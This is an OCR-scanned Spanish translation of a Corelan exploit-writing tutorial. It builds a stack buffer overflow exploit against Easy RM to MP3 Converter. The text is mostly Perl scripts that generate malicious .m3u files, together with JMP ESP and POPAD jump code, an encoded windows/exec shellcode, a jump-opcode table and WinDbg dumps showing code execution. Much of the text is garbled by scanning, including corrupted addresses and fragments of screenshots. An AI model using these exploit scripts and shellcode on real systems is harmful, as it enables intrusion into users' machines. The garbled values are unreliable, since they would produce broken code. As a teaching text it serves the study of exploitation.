000ff770 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0001780 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff790 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff7a0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0:000> d

000ff7b0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff7c0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff7do 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff7e0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff7f0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0001800 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00011810 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00011820 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0:000> d

0001830 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0001840 41 41 90 90 90 90 90 90-90 90 90 90 90 90 90 99 AA..............
0001850 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 99 ................
000ff860 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 99 ................
000ff870 90 90 90 90 cc 41 41 41-41 41 41 41 41 41 41 41 ..... AAAAAAAAAAA
0001880 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0001890 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA

Lo ultimo que necesitamos hacer es sobrescribirceiPun JMP ESP. Del
tutorial 1, sabemos que esto puede lograrse vihdgkZ3a.

¢, Qué pasaréa cuando ocurra el desbordamiento?

 La Shellcode real serd colocada en la primera pdatda string
enviada y terminard en ESP+300. La Shellcode reantepuesta
con NOP’s para permitir que el salta esté inagioroun momento.

 EIP sera sobrescrito con 0x0lccf23a (Apunta a ubh, Bjecuta
“JMP ESP”)

» Los datos después de sobrescribir EIP, seran soibosscon codigo
de salto para que le sume 282 a ESP y luego se$ia direccion.

 Después de que el payload se envie, EIP saltar&&R Esto
ejecutara el JumpCode para saltar a ESP+282. Lic&e se
ejecutara.
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Intentemos con un BP como Shellcode real:

my $file= "testl.m3u";
my $buffersize = 26094;

my $junk= "A" x 250;
my $nop = "\x90" x 50;
my $shellcode = "\xcc"; #position 300

my $restofbuffer = "A" x ($buffersize-
(length($junk)+length($nop)+length($shellcode)));

my $eip = pack('V',0x01lccf23a); #jmp esp from MSRMCcodec02.d1l

my $preshellcode = "X" x 4;

my $jumpcode = "\x83\xc4\x5e" . #add esp,0x5e
"\x83\xc4\x5e" . #add esp,0x5e
"\x83\xc4\x5e" . #add esp,0x5e
"\xff\xe4"; #jmp esp

my $buffer = $junk.$nop.$shellcode.$restofbuffer;
print "Size of buffer : ".length($buffer)."\n";

open($FILE,">$file");

print $FILE $buffer.$eip.$preshellcode.$jumpcode;
close($FILE);

print "Archivo m3u creado con exito\n";

El archivo .m3u generado, nos llevara directamanmtaeestra Shellcode con
un BP. (EIP = 0x000ff874 = inicio de la shellcode )

(d5c.c64): Break instruction exception - code 80000003 (!!! second chance
1

€ax=00000001 ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fced edi=000O6608
eip=000ff874 esp=000ff84a ebp=003440cO iopl=0 nv up ei pl nz ac po nc
€s=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 ef1=00000212
Missing image name, possible paged-out or corrupt data.

Missing image name, possible paged-out or corrupt data.

Missing image name, possible paged-out or corrupt data.
<Unloaded_P32.d11>+0xff863:

e0eff874 cc int 3

0:000> d esp

000ff84a 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff85a 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff86a 90 90 90 90 90 90 90 90-90 90 cc 41 41 41 41 41 ........... AAAAA
000ff87a 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff88a 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff89a 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
eo0ff8aa 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
eo0ff8ba 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA

Reemplaza el BP con Shellcode real y reemplaza&’kason NOP’s.
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(Shellcode: caracteres excluidos: 0x00, Oxff, Ox&xca). Cuando
reemplaces las A’s por NOP’s, tendrds mas espadionde saltar,
entonces podemos vivir con JumpCode que solo $8Beposiciones. (2
veces 5e).

my $file= "testl.m3u";
my $buffersize = 26094;

my $junk= "\x90" x 200;
my $nop = "\x90" x 50;

# windows/exec - 303 bytes

# http:

# Encoder: x86/alpha_upper

# EXITFUNC=seh, CMD=calc

my $shellcode = "\x89\xe2\xd9\xeb\xd9\x72\xf4\x5b\x53\x59\x49\x49\x49\x49" .
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4d" .
"\x38\x51\x54\x45\x50\x43\x30\x45\x50\x4c\x4b\x51\x55\x47" .
"\x4c\x4c\x4b\x43\x4c\x44\x45\x43\x48\x43\x31\x4a\x4f\x4c" .
"\x4b\x50\x4f\x45\x48\x4c\x4b\x51\x4f\x51\x30\x45\x51\x4a" .
"\x4b\x50\x49\x4c\x4b\x46\x54\x4c\x4b\x45\x51\x4a\x4e\x46" .
"\x51\x49\x50\x4a\x39\x4e\x4c\x4b\x34\x49\x50\x44\x34\x45" .
"\x57\x49\x51\x49\x5a\x44\x4d\x45\x51\x48\x42\x4a\x4b\x4c" .
"\x34\x47\x4b\x50\x54\x51\x34\x45\x54\x44\x35\x4d\x35\x4c" .
"\x4b\x51\x4f\x51\x34\x43\x31\x4a\x4b\x42\x46\x4c\x4b\x44" .
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x4c" .
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4b\x39\x51\x4c\x46" .
"\x44\x45\x54\x48\x43\x51\x4f\x46\x51\x4c\x36\x43\x50\x50" .
"\x56\x43\x54\x4c\x4b\x47\x36\x46\x50\x4c\x4b\x47\x30\x44" .
"\x4c\x4c\x4b\x42\x50\x45\x4c\x4e\x4d\x4c\x4b\x43\x58\x44" .
"\x48\x4d\x59\x4c\x38\x4d\x53\x49\x50\x42\x4a\x46\x30\x45" .
"\x38\x4c\x30\x4c\x4a\x45\x54\x51\x4f\x42\x48\x4d\x48\x4b" .
"\x4e\x4d\x5a\x44\x4e\x50\x57\x4b\x4f\x4b\x57\x42\x43\x43" .
"\x51\x42\x4c\x45\x33\x45\x50\x41\x41";

my $restofbuffer = "\x90" x ($buffersize-
(length($junk)+length($nop)+length($shellcode)));

my $eip = pack('V',0x01lccf23a); #jmp esp from MSRMCcodec02.d1l

my $preshellcode = "X" x 4;

my $jumpcode = "\x83\xc4\x5e" . #add esp,0x5e
"\x83\xc4\x5e" . #add esp,0x5e
"\xff\xe4"; #jmp esp

my $nop2 = "0x90" x 10; # only used to visually separate
my $buffer = $junk.$nop.$shellcode.$restofbuffer;
print "Size of buffer : ".length($buffer)."\n";

open($FILE,">$file");
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print $FILE $buffer.$eip.$preshellcode.$jumpcode;
close($FILE);
print "Archivo m3u creado con exito\n";

ModLoad: 73000000 73026000 CNUINDOUS =ystem3 2~ WINSPFOOL DRV

HodLoad: 02240000 02250000 C:~Program Files~Easy EM to HP3 Converter~MSEMfilter02.c
HodLoad: 02460000 02472000 C:~Program Files“~Easy EH to HP3 Converter~HSLlog.dll
ModLoad: 76e=0000 76f1c0O0 CWINDOWS svstemd 2~RASAPIZZ dlL

ModLoad: - stemlinrasman. dll
TR ARl [ Calculator =0l Xl ten3 2 NETAFT32 11
ModLoad: Edit Yiew Help =tem32~TAPIZ2 d11
ModLoad : stem3Z2hrtutils dll
ModLoad: I 0, f=tem32~USERENV.dll
HodLoad: stemd2nsensapl dll
HodLoad: =temn32 m=evl_0.d11
HodLoad: I Backwacel CE | C | stem3Zniphlpapi dll
ModLoad stemdZsmswsock . dll

ModLoad | =tem32~rasadhlp dll
ModLoad : MC 7 8 3 ! sart stem3Z2surlnon. dll
ModLoad: stem3Z~DHSAPT 411

ModLoad: MR | 4 | 5 | E | @ | % | stemd2~hnetcfg . dll
HodLoad: =temn32 wshtepip dll
HodLoad: stemi2~appHelp dll
ModLoad: Mo v 2 © | V% | kstem32~CLECATQ.DLL

ModLoad: stemd2~COHRes dll

ModLoad : Ll _D|+_z’|_|_+|_=| =tem3 2~SETUPAPT dll

ModLoad: stem32~UxThene dll

ModLoad: - temdZsntshrui dll

ModLoad: 7eb20000 7eb3i000 CoSWINDOWS system32~ATL . DLL

(cB0.cdc): Access violation - code cO000005 (1! second chance 111}
eax=00000000 ebx=7ci80353c ecx={ffffcid edx=00000000 e=si=cfiddlie edi=7c80262c
eip=000£f{7d0 =sp=000£f£720 ebp=7cB00000 iopl=0 nv up 21 pl zr na pe nc
ce=001b ===0023 d==0023 e=s=0023 f==003b g==0000 ef1=00000246

Hi=z=ing image name. possible paged-out or corrupt data

Mis=sing imsge name. possible paged-out or corrupt data

Mi==ing image name, possible paged-out or corrupt data

¢Unloaded_P32 .dll:+0=ff7bi

Q00E£7d0 ac lods byte ptr [esi] d=: 0023 . c644d12e=77

iBaaaam! De Nuev®

Otras formas de saltar

« POPAD
» Direcciéon hardcodeada (fija) a saltar.

La instruccion “POPAD” puede ayudarnos a “saltamiwestro Shellcode
también. POPAD (POPea todo doble) POPeara DWORDStdek (ESP)
a los registros de proposito general. En una acdios resultados son
cargados en el siguiente orden: EDI, ESI, EBP, EBRX, ECX y EAX.
Como resultado, el registro ESP se incrementa éssga que se carga
cada registro (ejecutado por el POPAD). Un POPAMDai@ 32 bytes de
ESP y los POPera en el registro en una forma oddena

El Opcode del POPAD es 0x61.

Supongamos que necesitas saltar 40 bytes y sokestigpocos bytes para
realizar el salto, puedes usar 2 POPAD’s para ap&8P a la Shellcode,
la cual comienza con NOP’s. 2 veces 32 bytes —ytéks lle espacio que
necesitamos para saltar.

Usemos la vulnerabilidad de Easy RM to MP3 de nyaw@ demostrar
esta ténica. Reusaremos un script del tutorialcbnstruiremos un buffer
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falso que pondra 13 X's en ESP. Luego, pretendajneshay algo de
basura (D's y A’s) y después colocaremos nuesti#c8te (NOP’s + A’s)

my $file= "testl.m3u";
my $buffersize = 26094;

my $junk="A" x 250;
my $nop = "\x90" x 50;
my $shellcode = "\xcc";

my $restofbuffer = "A" x ($buffersize-
(length($junk)+length($nop)+length($shellcode)));

my $eip = "BBBB";

my $preshellcode = "X" x 17; #let's pretend this i s the only space we
have available

my $garbage = "\x44" x 100; #let's pretend this is the space we need
to jump over

my $buffer = $junk.$nop.$shellcode.$restofbuffer;
print "Size of buffer : ".length($buffer)."\n";

open($FILE,">$file");

print $FILE $buffer.$eip.$preshellcode.$garbage;
close($FILE);

print "Archivo m3u creado con exito\n";

Después de abrir el archivo en Easy RM to MP3,plecacion muere y
ESP se ve asi:

First chance exceptions are reported before any exc eption handling.
This exception may be expected and handled.

eax=00000001 ebx=00104a58 ecx=7c91005d edx=003f0000 esi=77c5fce0
edi=0000666d

eip=42424242 esp=000ff730 ebp=00344158 iopl=0 nv up ei pl nz
na pe nc

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000 0
efl=00010206

Missing image name, possible paged-out or corrupt d ata.

Missing image name, possible paged-out or corrupt d ata.

Missing image name, possible paged-out or corrupt d ata.
<Unloaded_P32.dlI>+0x42424231.

42424242 ?7? ??7?

0:000> d esp

000ff730 58 58 58 58 58 58 58 58-58 58 58 58 58 44 44 44
XXXXXXXXXXXXXDDD | => 13 bytes

000ff740 44 44 44 44 44 44 44 A4-44 A4 44 44 44 44 44 44
DDDDDDDDDDDDDDDD | => garbage

000ff750 44 44 44 44 44 44 A4 A4-44 A4 44 44 44 44 44 44
DDDDDDDDDDDDDDDD | => garbage

000ff760 44 44 44 44 44 44 A4 A4-44 A4 44 44 44 44 44 44
DDDDDDDDDDDDDDDD | => garbage

000ff770 44 44 44 44 44 44 A4 A4-44 A4 44 44 44 44 44 44
DDDDDDDDDDDDDDDD | => garbage

000ff780 44 44 44 44 44 44 A4 AA-44 A4 44 44 44 44 44 44

DDDDDDDDDDDDDDDD | => garbage
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000ff790 44 44 44 44 44 44 44 A4-44 A4 44 44 44 44 44 44
DDDDDDDDDDDDDDDD | => garbage

000ff7a0 0041414141414141-414141414141 41 41
AAAAAAAAAAAAAAA | => garbage

0:000> d

000ff7Tb0 41 4141414141 4141-414141414141 41 41
AAAAAAAAAAAAAAAA | => garbage

000ff7cO 4141414141414141-414141414141 41 41
AAAAAAAAAAAAAAAA | => garbage

000ff7d0 41 41414141414141-414141414141 41 41
AAAAAAAAAAAAAAAA | => garbage

000ff7e0 4141414141414141-414141414141 41 41
AAAAAAAAAAAAAAAA | => garbage

000ff7f0 414141 41 4141 41 41-414141414141 41 41
AAAAAAAAAAAAAAAA | => garbage

000ff800 41 41414141414141-414141414141 41 41
AAAAAAAAAAAAAAAA | => garbage

000ff810 4141414141414141-414141414141 41 41
AAAAAAAAAAAAAAAA | => garbage

000ff820 41 41414141414141-414141414141 41 41
AAAAAAAAAAAAAAAA | => garbage

0:000>d

000ff830 4141414141414141-414141414141 41 41
AAAAAAAAAAAAAAAA | => garbage

000ff840 41 41 90 90 90 90 90 90-90 90 90 90 90 90 90 90
AA... | => garbage

000ff850 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90
................ | => NOPS/Shellcode

000ff860 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90
................ | => NOPS/Shellcode

000ff870 90 90 90 90 cc 41 41 41-41 41 41 41 41 41 41 41
..... AAAAAAAAAAA | => NOPS/Shellcode

000ff880 4141414141414141-414141414141 41 41
AAAAAAAAAAAAAAAA | => NOPS/Shellcode

000ff890 41 41414141414141-414141414141 41 41
AAAAAAAAAAAAAAAA | => NOPS/Shellcode

000ff8a0 4141414141414141-414141414141 41 41

AAAAAAAAAAAAAAAA | => NOPS/Shellcode

Pretendamos que necesitamos usar las 13 X's (I&s)bgue estan
disponibles directamente en ESP para saltar 1004¥)sy 160 A’s (un
total de 260 bytes) para terminar en nuestra Sitglgcomienza con
NOPs, luego un BP, y después A’s (=shellcode)).

Un POPAD = 32 bytes. Entonces 260 bytes = 9 POPARS bytes)

Necesitamos ejecutar nuestra Shellcode con NORjecatarle en [inicio
de shellcode]+28 bytes.

En nuestro caso, hemos puesto algunos NOP’s amtda &hellcode.
Usemos POPAD entre los NOP’s y veamos si la ajibicgrara en nuestro
BP.



Creacion de Exploits por corelanc0d3r N° 2 traducido por Ivinson/CLS

Primero, sobrescribe EIP de nuevo con JMP ESPa(hhio de los scripts
anteriores). Entonces, en vez de X's, pondremd@PABPS seguido del O
pcode (0xff,0xe4) del IMP ESP.

my $file= "testl.m3u";
my $buffersize = 26094;

my $junk="A" x 250;
my $nop = "\x90" x 50;
my $shellcode = "\xcc";

my $restofbuffer = "A" x ($buffersize-
(length($junk)+length($nop)+length($shellcode)));

my $eip = pack('V',0x01ccf23a); #jmp esp from MSRM Ccodec02.dll

my $preshellcode = "X" x 4; # needed to point ESP at next 13 bytes
below

$preshellcode=$preshellcode."\x61" x 9; #9 popads
$preshellcode=$preshellcode."\xff\xe4"; #10th and 11th byte, jmp esp
$preshellcode=$preshellcode."\x90\x90\x90"; #fill rest with some nops

my $garbage = "\x44" x 100; #garbage to jump over
my $buffer = $junk.$nop.$shellcode.$restofbuffer;

print "Size of buffer : ".length($buffer)."\n";

open($FILE,">$file™);

print $FILE $buffer.$eip.$preshellcode.$garbage;
close($FILE);

print "Archivo m3u creado con exito\n";

Después de abrir el archivo, la aplicacion paraleBP. EIP y ESP se ven
asi:

(f40.5f0): Break instruction exception - code 80000 003 (first chance)
eax=90909090 ebx=90904141 ecx=90909090 edx=90909090 esi=41414141
edi=41414141

eip= 000f f 874 esp=000f f 850 ebp=41414141 iopl=0 nv up ei pl nz

na pe nc
¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000 0
efl=00000206

Missing image name, possible paged-out or corrupt d ata.
Missing image name, possible paged-out or corrupt d ata.
Missing image name, possible paged-out or corrupt d ata.
<Unloaded_P32.dlI>+0xff863:

000ff874 cc int 3

0:000> d eip

000ff874 cc41414141414141-414141414141 41 41
AAAAAAAAAAAAAAA

000ff884 414141 4141414141-414141414141 41 41
AAAAAAAAAAAAAAAA

000ff894 414141 4141414141-414141414141 41 41
AAAAAAAAAAAAAAAA

000ff8ad 414141 4141414141-414141414141 41 41
AAAAAAAAAAAAAAAA

000ff8b4 414141 4141414141-414141414141 41 41

AAAAAAAAAAAAAAAA
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000ff8c4 4141414141 414141-414141414141 41 41
AAAAAAAAAAAAAAAA

000ff8d4 4141 414141414141-414141414141 41 41
AAAAAAAAAAAAAAAA

000ff8ed4 41 41414141414141-414141414141 41 41
AAAAAAAAAAAAAAAA

0:000> d eip-32

000ff842 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90
000ff852 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90
000ff862 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90
000ff872 90 90 CC 4141414141-4141414141414141

- AAAAAAAAAAAAA

000ff882 4141 414141414141-414141414141 41 41
AAAAAAAAAAAAAAAA

000ff892 4141 414141414141-414141414141 41 41
AAAAAAAAAAAAAAAA

000ff8a2 4141414141414141-414141414141 41 41
AAAAAAAAAAAAAAAA

000ff8b2 4141 414141414141-414141414141 41 41
AAAAAAAAAAAAAAAA

0: 000> d esp
000f f 850 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90

000ff860 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90
000ff870 90 90 90 90 cc414141-4141414141414141

..... AAAAAAAAAAA

000ff880 41 41414141414141-414141414141 41 41
AAAAAAAAAAAAAAAA

000ff890 414141 4141414141-414141414141 41 41
AAAAAAAAAAAAAAAA

000ff8a0 41 41414141414141-414141414141 41 41
AAAAAAAAAAAAAAAA

000ff8b0 41 41 41414141 4141-414141414141 41 41
AAAAAAAAAAAAAAAA

000ff8cO 4141 4141414141 41-414141414141 41 41
AAAAAAAAAAAAAAAA

Los POPAD’s han funcionado y han hecho que ESPtagufos NOP’s.
Luego se hizo el salto ESP (Oxff Oxe4), el cuabhyue EIP saltara a los
NOP’s y llegara al BP (en 000f874).

~lolx

Z Teel]
it View Help _|ol x|t

H

2 |
66280000 6630
71290000 71a3

X
1
75800000 75B1 411
747b0000 747£ wlgﬁ e dll
78080000 7809 40.d11
?7c70000 77c9 MC 7 g 9 4| st dll
76460000 THAT pi.dll
(3 i %

77540000 77b6
76£do00o 7704 MR Gl
77050000 7711 a1l
77a20000 7727 Ms | 1 | 2| 3 1%
76600000 7661

75£80000 7607 ui.dll
77920000 77a1 Mt 0 | (ML P T 11
52d70000 Sada c.d11
76390000 76955000  C:~JINDOWS-systeniZwntshrui dll
76b20000 76031000  C:“JINDOWS\systen3Z ATL.DLL
72290000 72401000

77280000 77b15000
77520000 77b32000 0US 32\
75440000 75550000 C:“\UINDOWS:sv=tend2 CRYPTIL dl1
76030000 7605e

76co0000 76cbe Easy RM to MP3 Converter
76£60000 76880

Hodload: 7 9c

a: 7c8035
p=000ff8df esp=000ffE 1=}
s=001b  ss=0023 ds=00 3

nane, posSiDIE Daged-out OF COTTUDT date
dll>+0xf£8c5
lods byte ptr [esi] ds:0023:c644d12e=77

4| | »

00005 [
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iBaaam! De nuevo funcion®

Otra forma (menos preferida, pero aun posible)attarsa la Shellcode, es
usando JumpCode que simplemente salte a la direoc&un offset de un
registro. Ya que las direcciones/registros puedanawv durante cada
ejecucion de un programa. Esta técnica no puedeiofugr siempre.
Entonces, para hardcodear direcciones u offsets ude registro,
simplemente necesitas encontrar el opcode quechagdto y luego usaras
ese opcode en el primer buffer mas pequefio o éstgara saltar a la
Shellcode real.

Deberias saber ahora como encontrar el opcode ipsiraicciones en
ensamblador. Daré 2 ejemplos:

1. Saltar a 0x12345678

0:000> a

7¢90120e jmp 12345678
jmp 12345678
7¢901213

0:000> u 7c90120e
ntdll!DbgBreakPoint:
7c90120e €96544a495 jmp 12345678

=> E| opcode es 0xe9,0x65,0x44,0xa4,0x95

2. Saltar a ebx+124h

0:000> a

7c901214 add ebx,124
add ebx,124
7c¢90121a jmp ebx

jmp ebx

7c90121c

0:000> u 7c901214
ntdll!DbgUserBreakPoint+0x2:

7c901214 81¢324010000 add ebx,124h
7c90121a ffe3 jmp  ebx

=> Los opcodes son 0x81,0xc3,0x24,0x01,0x00,0xédd €bx 124h) y
Oxff,0xe3 (jmp ebx)
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Saltos cortos y saltos condicionales

En el evento, necesitas saltar solo unos pocos,bgtdonces puedes usar
un par de ténicas de “Saltos Cortos” para logma est

» Un salto corto: (jmp) : opcode Oxeb, seguido partehero de bytes.
Si quieres saltar 30 bytes, el Opcode is Oxeb,0x1e.

 Un salto condicional (corto/cercano): (“Salta si dandicién se
cumple”) : esta técnica se basa en los estadosae mas flags en
los registros EFLAGS (CF,OF,PF,SF y ZF). Si logdl@stan en los
estados especificos (condicién) entonces, un saltpuede realizar
hacia la instruccion objetiva especificada porpgrando de destino.
Esta instruccion especificada con un Offset retadibvalor actual de
EIP.

Ejemplo: imagina que quieres saltar 6 bytes: nusaflags (en OllyDBG) y
dependiendo de los estados de los flags, t pusdesuno de los opcodes
de abajo. Digamos que el flag z vale 1, entonceslgmi usar el opcode
0x74 seguido por el niumero de bytes a saltar (@x06uestro caso).

Este es una pequena tabla con Opcodes de salbbosligziones de flags:

Cddigo Mnemaonico Descripcion

77cb JArel8 Salto corto si es mgy=0 y FZ=0)

73cb JAErel8 Salto corto si es maygual (FC=0)

72cb JBrel8 Salto corto si es mgRr@=1)

76 cb JBErel8 Salto corto si es mengual (FC=1 o0 FZ=1)
72cb JCrel8 Salto corto si hay ssmar 1 (FC=1)

E3cb JCXZrel8 Salto corto siregistro €x0
E3cb JECXZrel8 Salto corto siregistro ECX

74cb JErel8 Salto corto si es ig&al=1)

7Fcb JGrel8 Salto corto si es maffedf=0 y SF=0F)
7Dcb JGE rel8 Salto corto si es mayagual (SF=0F)
7Ccb JLrel8 Salto corto si es mgisit<>0OF)

7Ecb JLErel8 Salto corto si es menmual (FZ=1 o SF<>0F)
76 cb JNATrel8 Salto corto si no es ma¥&=1 o FZ=1)

72cb JNAErel8 Salto corto si no es mayaual (FC=1)

73cb JINBrel8 Salto corto si no es m€RE&=0)
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77 cb
73 cb
75 cb
7E cb
7C cb
7D cb
7F cb
71cb
7B cb
79 cb
75 cb
70 cb
7A cb
7A cb
7B cb
78 cb
74 cb
OF 87
OF 83
OF 82
OF 86
OF 82
OF 84
OF 84
OF 8F
OF 8D
OF 8C
OF 8E
OF 86
OF 82

OF 83
OF 87

OF 83
OF 85
OF 8E
OF 8C

OF 8D
OF 8F

OF 81
OF 8B
OF 89
OF 85
OF 80

JNBE rel8
JNC rel8
JNE rel8
JNG rel8
JNGE rel8
JNL rel8
JNLE rel8
JNO rel8
JNP rel8
JNS rel8
JNZ rel8
JO rel8
JP rel8
JPE rel8
JPO rel8
JS rel8
JZ rel8
cw/cd
cw/cd
cw/cd
cw/cd
cw/cd
cw/cd
cw/cd
cw/cd
cw/cd
cw/cd
cw/cd
cw/cd
cw/cd

cw/cd
cw/cd

cw/cd
cw/cd
cw/cd
cw/cd

cw/cd
cw/cd

cw/cd
cw/cd
cw/cd
cw/cd
cw/cd

Salto corto si no es menigual (FC=0y FZ=0)
Salto corto si no hayriexa(FC=0)

Salto corto si no es e(tiz=0)

Salto corto si no es mdlf@=1 o FS<>OF)

Salto corto si no es maygual (FS<>FO)

Salto corto si no es mgR@=FO)

Salto corto si no es menmual (FZ=0 y FS=FO)
Salto corto si no hay desamiento (FO=0)

Salto corto si no es @atiPF=0)

Salto corto si no essigno (FS=0)

Salto corto si no es ¢e=0)

Salto corto si hay deghmiento (FO=1)

Salto corto si hay padidFP=1)

Salto corto si hay patidagual (FP=1)

Salto corto si hay paridasbordamiento (FP=0)
Salto corto si tiermgmei(FS=1)

Salto corto si es ¢€tdo=1)

JA rell6/32 Salto ceccanmayor (FC=0y FZ=0)
JAE rell16/32 Salto camai mayor o igual (FC=0)
JB rell6/32 Salto ceccaiimenor (FC=1)

JBE rel16/32 Salto cercano si menor o igual (FCEEZsl)

JC rel16/32 Salto ceocsirhay acarreo (FC=1)

JE rel16/32 Salto ceocsirequal (FZ=1)

JZ rel16/32 Salto ceccair0 (FZ=1)

JG rell6/32 Salto ceacsimmayor (FZ=0 y FS=FO)
JGE rell16/32 Salto cercano si mayor o igual (FS=FO)

JL rel16/32 Salto ceocanmenor (FS<>FO)

JLE rell6/32 Salto cercano si menor o igual (FZFSa>FO)
JNA rel16/32 Salto cercano si no es mayor (FC=Z=»lf
JNAE rel16/32 Salto cercano si no es mayor o ife@k1)

JNB rel16/32 Salto carcai no es menor (FC=0)

JNBE rel16/32 Salto cercano si no es menor o ifit@F0 y FZ=0)

JNC rell16/32 Salto ceccsi no hay acarreo (FC=0)
JNE rel16/32 Salto cracai no es equal (FZ=0)

JNG rell16/32 Salto cercano si no es mayor (FZ=5¢0)
JNGE rell16/32 Salto cercano si no es mayor o ifit&&>FO)

JNL rel16/32 Salto cexanno es menor (FS=FO)

JNLE rel16/32 Salto cercano si no es menor o ifftiét0 y FS=FO)
JNO rell16/32 Salto cercano si no hay overflow (FO=0

JNP rel16/32 Salto ceecasimo hay paridad (FP=0)
JNS rel16/32 Salto ceocsi no es signo (FS=0)
JNZ rell16/32 Salto carcai no es cero (FZ=0)

JO rel16/32 Salto ceocsiroverflow (FO=1)
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OF 8A cwi/cd JP rell6/32 Salto ceccai hay paridad (FP=1)
OF 8A cwi/cd JPE rell16/32 Salto ceccsi hay paridad even
(FP=1)

OF 8B cwi/cd JPO rel16/32 Salto ceocsi hay paridad odd
(FP=0)

OF 88 cwi/cd JS rell6/32 Salto ceocsi tiene signo (FS=1)
OF 84 cwi/cd JZ rel16/32 Salto ceccai 0 (FZ=1)

Como puedes ver en la tabla, también puedes hacsalto corto basado
en ECX siendo 0. Una de las protecciones SEH deloMa (Ver tutorial 3
traducido por Ivinsor®) que se ha llevado a cabo, es el hecho que los
registros se limpian cuando hay una excepcion. Wdgweces podras usar
Oxe3 como Opcode de salto (si ECX = 00000000).

Nota: puedes encontrar mas u otra informacién aagechacer saltos de 2
bytes. Salto hacia delante, hacia atras o negativos

http://thestarman.narod.ru/asm/2bytejumps.htm

Saltos hacia atras

Si en el evento, necesitas realizar un salto hatcés, salta con un Offset
negativo. Consiga el nimero negativo y convierteltexa. Toma el valor
hexa del DWORD vy Usalo como argumento a un sadeb(d \xe9).

Ejemplo: saltar 7 bytes hacia atras: -7 = FFFFEFIED salto -7 seria
"\xeb\xfO\xfxff".

Ejemplo: saltar 400 bytes hacia atras: -400 = FEE®E-el salto -400 bytes
= "\xe9\x70\xfe\xfi\xff. Como puedes ver, este opectiene 5 bytes de
largo. Algunas veces, si necesitas entre el tardafion DWORD (limite
de 4 bytes), entonces necesitas hacer saltos tesltigAs cortos para llegar
a donde quieres.

¢, Preguntas? ¢ Comentarios? ¢ Tips y Trucos?

https://www.corelan.be/index.php/forum/writing-eaibb
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